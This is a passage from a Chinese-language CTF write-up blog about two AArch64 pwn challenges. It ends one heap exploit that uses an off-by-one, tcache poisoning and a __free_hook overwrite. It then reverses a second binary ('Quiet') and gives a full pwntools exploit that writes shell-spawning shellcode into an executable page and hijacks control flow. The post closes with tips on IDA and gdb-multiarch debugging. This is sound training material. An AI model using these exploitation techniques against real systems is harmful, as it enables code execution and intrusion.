data = '/'+p8(y)+p8(x)
return data
def set_light(y,x,light):
data = '+'+p8(y)+p8(x)+p8(light)
return data
def del_light(y,x):
data = '-'+p8(y)+p8(x)
return data
def up():
return 's'
def down():
return 'w'
def left():
return 'a'
def right():
return 'd'

ru("cmd>")
pl = init(0x10,0x10)
pl+= set_light(0xf,8,2)
# ------------------------------------------ 1 利用offbyone修改chunk0的size,之后free进usbin,造成堆块重叠的同时将含有
#------------------------------------------- libc_base的地址写入堆块,之后切割堆块并通过show功能输出libc_base
for i in range(5):
pl+= add(0,9+i,0x10)
for i in range(5):
pl+= add(1,9+i,0x10)
for i in range(4):
pl+= add(2,9+i,0x90)
for i in range(4):
pl+= add(3,9+i,0x90)

for i in range(4):
pl+= free(3,0xc-i)
for i in range(3):
pl+= free(2,0xc-i)

# off by one
pl+= 'd'*8
pl+= 'sw'*69
pl+= 's'*0x10
# free修改过size的chunk,堆块重叠
pl+= free(0,9)
# 切割堆块,在chunk2位置写下libc base
pl+= add(4,9,0x30)
# show 泄露地址
pl+= 'p'
# -------------------------------------------- 2 tcache poison, set free_hook to system then
pl+= free(0,12)
pl+= free(0,10)
pl+= free(4,9)
pl+= add(4,9,0x30)
pl+= add(4,10,0x10)
pl+= add(4,11,0x10)
# -------------------------------------------- 3 trigger get shell
pl+= free(4,10)

s(pl)
sleep(0.1)
for i in range(10):
s('/bin/sh\x00')
sleep(0.1)
for i in range(9):
s('\x02')
sleep(0.1)
# pause()
ru('pos:0,11\n')
base = uu64(r(3))+0x4000000000 - 0x154ad0
system_addr = sym('system')+base
free_hook = sym('__free_hook')+base
leak(base)
leak(system_addr)
leak(free_hook)

poison = p64(0)*3 + p64(0x21)
poison+= p64(free_hook)*2
s(poison)
sleep(0.1)
s('/bin/sh\x00')
sleep(0.1)
s(p64(system_addr))

# end

itr()

Queit

分析

同样的思路,先整理 jump_tablefunc_table,同时这道题中有一些函数也没有正确显示,需要安装之前的方法手动调整

1
2
3
4
5
6
7
8
9
10
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118

之后看一下input函数, 这道题相比上一道题要简单很多,基本上看伪代码就OK了

在这个函数里,程序会依照 jump_table将用户的输入翻译为 index,并以此去执行 func_table中的函数

此时各个寄存器中存放的值为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
x0          要执行的函数地址
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2
void input()
{
_BYTE *chunk; // x21
int v1; // w0
int index; // w1
_BYTE *chunk_addr; // x0
int chr; // t1
__int64 fnc_table[11]; // [xsp+60h] [xbp+60h]

__printf_chk(1LL, "cmd> ", &_stack_chk_guard, 0LL);
chunk = malloc(0x1000uLL);
v1 = getpagesize();
memset((void *)qword_12070, 0, v1);
read(0, chunk, 0x1000uLL);
fnc_table[0] = (__int64)off_12010;
fnc_table[1] = (__int64)off_12018;
fnc_table[2] = (__int64)off_12020;
fnc_table[3] = (__int64)off_12028;
fnc_table[4] = (__int64)off_12030;
fnc_table[5] = (__int64)off_12038;
fnc_table[6] = (__int64)off_12040;
fnc_table[7] = (__int64)off_12048;
fnc_table[8] = (__int64)off_12050;
fnc_table[9] = (__int64)off_12058;
fnc_table[10] = (__int64)off_12060;
if ( malloc(0x200uLL) )
{
index = (unsigned __int8)*chunk;
chunk_addr = chunk;
if ( *chunk )
{
do
{
*chunk_addr = jump_table[index];
chr = (unsigned __int8)*++chunk_addr;
index = chr;
}
while ( chr );
}
*chunk_addr = 8;
__asm { BR X0 }
}
exit(-1);
}

在这里我们要关注的函数是 sub_1154sub_11D8

这两个函数一个会接收一个字符存入 ** qword_12070,另一个会令 (** qword_12070)+ 1

** qword_12070的地址是有执行权限的,因此我们可以利用这两个函数写入 shellcode

之后只需通过 loc_1098即可劫持控制流执行shellcode

整个思路比较清晰,就不再赘述了,详见EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = './lib/libc-2.27.so'
binary = './quiet'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(['qemu-aarch64', '-L','.', '-g', '1234','quiet'])
if len(argv) > 1:
if argv[1]=='r':
p = remote('',)
# libc = elf.libc
libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

# start

context.log_level = 'DEBUG'

"""
:8:sub_10E4
#:5:sub_1154
(:0:sub_11D8
):1:sub_11C4
*:2:sub_11A8
/:3:sub_118C
@:4:sub_1170
G:9:sub_1098
[:6:sub_1134
]:7:sub_1118

x0 func
x21 翻译后的索引值 chunk1
x22 ** qword_12070
x27 x23 chunk2

"""
def input():
return '#)'
def trigger():
return 'G'

sc = asm(shellcraft.sh())
pl = input()*len(sc)
pl+= trigger()
sa('cmd> ',pl)
sleep(0.1)
for i in range(len(sc)):
s(p8(sc[i]))

# end

itr()

总结

其实总的来说这两道题过于考验pwn师傅的逆向能力,有种为了出题而出题的感觉 hhhh, 但是整体做下来还是有几点收获的

  1. 在看不懂题目汇编的时候一定要去调试,关注各个寄存器中的地址,有没有和程序有联系的,在这两道题中就是 jump_tablefunc_table,这对帮助理解题目有很大帮助,如果生啃汇编的话一会人就废了
  2. 在题目逻辑比较复杂,IDA对于一些函数或变量的分析有问题时,可以通过人工手段来进行调整,方便我们理解,包括但不限于 创建函数创建结构体修改变量类型等等
  • 在做异构题目时,需要频繁的用 gdb-multiarch连接题目,如果觉得烦的话可以写一个小脚本

    1
    2
    3
    4
    5
    6
    // debug
    file apollo
    set architecture aarch64
    set endian little
    b *0x0000000000
    target remote :123456

    连接时只需输入 gdb-multiarch -x debug 即可

参考


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!